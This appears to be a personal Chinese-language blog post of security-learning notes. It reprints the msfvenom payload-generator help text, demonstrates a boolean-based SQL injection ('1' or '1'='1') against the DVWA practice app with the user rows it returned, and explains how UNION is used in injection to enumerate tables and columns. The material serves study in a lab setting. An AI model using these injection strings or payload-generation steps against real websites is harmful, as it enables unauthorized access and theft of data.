img
在5.0版本以后的·kali中msfpayload和msfencode已经合并成为了msfvenom所以接下来展示一些msfcenom的操作

msfvenom的大概使用说明如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
MsfVenom - a Metasploit standalone payload generator.
Also a replacement for msfpayload and msfencode.
Usage: /opt/metasploit/apps/pro/msf3/msfvenom [options] <var=val>
Options:
-p, --payload <payload> Payload to use. Specify a '-' or stdin to use custom payloads
--payload-options List the payload's standard options
-l, --list [type] List a module type. Options are: payloads, encoders, nops, all
-n, --nopsled <length> Prepend a nopsled of [length] size on to the payload
-f, --format <format> Output format (use --help-formats for a list)
--help-formats List available formats
-e, --encoder <encoder> The encoder to use
-a, --arch <arch> The architecture to use
--platform <platform> The platform of the payload
-s, --space <length> The maximum size of the resulting payload
--encoder-space <length> The maximum size of the encoded payload (defaults to the -s value)
-b, --bad-chars <list> The list of characters to avoid example: '\x00\xff'
-i, --iterations <count> The number of times to encode the payload
-c, --add-code <path> Specify an additional win32 shellcode file to include
-x, --template <path> Specify a custom executable file to use as a template
-k, --keep Preserve the template behavior and inject the payload as a new thread
-o, --out <path> Save the payload
-v, --var-name <name> Specify a custom variable name to use for certain output formats
--smallest Generate the smallest possible payload
-h, --help Show this message

那么接下来讲讲sql盲注,sql盲注的意思就是在完全未知的情况下对一个网站的url进行试探一下用dvwa为例:

选择dvwa SQL Injection (Blind)
在显示框中输入

1
1' or '1234='1234

输入后报错You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘1234’’ at line 1
(看样子因该是被过路掉了恶意攻击)
接下来是1’ or ‘1’=’1,这是一个简单的boolean-based盲注,看看是否能绕过过滤然后成了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
ID: 1' or '1'='1
First name: admin
Surname: admin
ID: 1' or '1'='1
First name: Gordon
Surname: Brown
ID: 1' or '1'='1
First name: Hack
Surname: Me
ID: 1' or '1'='1
First name: Pablo
Surname: Picasso
ID: 1' or '1'='1
First name: Bob
Surname: Smith

这是反回结果,貌似是已经把数据库的东西neng出来了
然后补充一下数据库中union的用法:
UNION语句在SQL注入攻击和数据库查询中经常被使用。它用于合并两个或多个SELECT语句的结果集,并将它们合并成一个结果集。UNION语句的一般用法如下:

1
2
3
SELECT column1, column2 FROM table1
UNION
SELECT column1, column2 FROM table2;

在这个例子中,首先执行第一个SELECT语句,然后将其结果与第二个SELECT语句的结果合并。合并后的结果集会去重,即相同的行只会出现一次。
常见用法和注意事项:
UNION操作数必须匹配:两个SELECT语句中的列数和数据类型必须是匹配的,否则可能会出现错误。

UNION去重:UNION操作会自动去重,确保合并后的结果集不包含重复的行。

引号数目要匹配:确保在每个SELECT语句中的列值使用相同数量的引号,以避免语法错误。

使用NULL匹配列数:在进行UNION操作时,如果需要匹配列数,可以使用NULL来填充那些不需要匿名的列。

在SQL注入攻击中,UNION语句常常被用来获取更多关于数据库结构的信息,比如表名、列名等。攻击者可以通过构造带有UNION语句的恶意SQL语句,来探测数据库,进而执行恶意操作。

公告
This is my Blog
最新文章
网站资讯
文章数目 :
9
本站访客数 :
本站总访问量 :
最后更新时间 :